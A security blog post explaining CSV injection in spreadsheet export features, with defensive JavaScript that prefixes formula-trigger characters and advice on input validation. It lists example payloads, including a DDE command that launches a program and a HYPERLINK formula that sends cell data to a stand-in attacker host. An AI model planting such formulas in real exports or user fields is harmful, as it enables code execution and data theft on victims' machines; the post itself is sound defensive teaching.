Blog/Security
SecurityJune 13, 2026 · 7 min read

What Is CSV Injection — and How to Stop It in Your Export Feature

A team adds a tidy little feature: admins can export the user list to CSV. Months later, an admin opens the export and their machine launches a program they never approved. No server was hacked. The payload was a user's display name — and the spreadsheet ran it.

That's CSV injection, and it hides in one of the most boring features you can build.

How a formula ends up in your export

Spreadsheets treat any cell that begins with =, +, -, or @ as a formula. A CSV file is just text, so when your app writes a user-supplied value into a cell and someone opens the file in Excel or Google Sheets, the app happily evaluates it.

Type a payload below and watch what the spreadsheet does with it — then flip on sanitization:

A user sets their display name — an admin later exports the list to CSV

Display name (attacker-controlled)
users-export.csv
id,display_name
1,=1+1

⚠ Spreadsheet executes the formula

Evaluates as a formula (e.g. =1+1 → 2) instead of showing as text.

The danger isn't arithmetic like =1+1. Real payloads abuse spreadsheet features:

=1+1                                  → proof the cell is executed, not shown
=cmd|'/c calc'!A1                     → DDE: launches an external program
=HYPERLINK("https://evil.tld?c="&A1,"Prize")  → exfiltrates another cell on click

The attacker only ever supplies a field value. The victim is whoever opens the export — and that's usually someone with admin rights.

Why escaping alone doesn't save you

People reach for RFC 4180 quoting and assume they're done:

// Correct CSV quoting — but NOT a fix for injection
const field = '"' + value.replace(/"/g, '""') + '"';

Quoting makes the CSV parse correctly. It does nothing to stop the spreadsheet from evaluating =cmd|... once the quotes are stripped on open. You need to neutralize the formula trigger itself.

The fix: neutralize the leading character

Prefix any value that starts with a formula character with a single quote, which forces the spreadsheet to treat the whole cell as text:

function safeCell(value) {
  // Excel/Sheets treat = + - @ TAB CR as formula starts
  if (/^[=+\-@\t\r]/.test(value)) {
    return "'" + value;   // leading quote → literal text
  }
  return value;
}
 
// Combine with RFC 4180 quoting for a correct AND safe field:
function csvField(value) {
  const v = safeCell(String(value));
  return /[",\n]/.test(v) ? '"' + v.replace(/"/g, '""') + '"' : v;
}

Layer two more defenses on top:

  • Validate at the boundary. A display name or username should never start with =, +, -, or @. Reject or strip it on input so the bad value never reaches your database, not just your export.
  • Set the right expectations on open. If you control the consuming spreadsheet, importing as text (rather than auto-detecting formulas) avoids evaluation entirely.

The takeaway

CSV injection is a reminder that "output" is an attack surface. Your server can be flawless while the vulnerability lives in another program — the spreadsheet — that runs your data later. Treat every exported cell as untrusted, neutralize formula triggers, and validate input where it enters.

Want to feel it rather than read it? The interactive simulation lets you exploit a vulnerable export and then watch your own fix shut it down.

Share this post

Frequently Asked Questions

Related posts

Prompt Injection: Why You Can't Fix It With a Better Prompt

Prompt injection isn't a filtering problem you can prompt your way out of. It's an architecture problem — the model can't tell your instructions from the data it's reading. Here's what actually contains it.

Jul 28, 2026 · 11 min read

Phishing URLs: How Attackers Fake Domains (and How to Read Them)

Typosquatting, homograph attacks, subdomain deception, and the @ trick — learn the handful of URL tricks behind most phishing, and the one habit that beats all of them.

Jun 13, 2026 · 7 min read

SQL Injection Prevention — A Practical Guide with Code Examples

Learn how to prevent SQL injection in Node.js, Python, Java, PHP, and more with parameterized queries, ORMs, and input validation patterns that actually work.

Apr 8, 2026 · 9 min read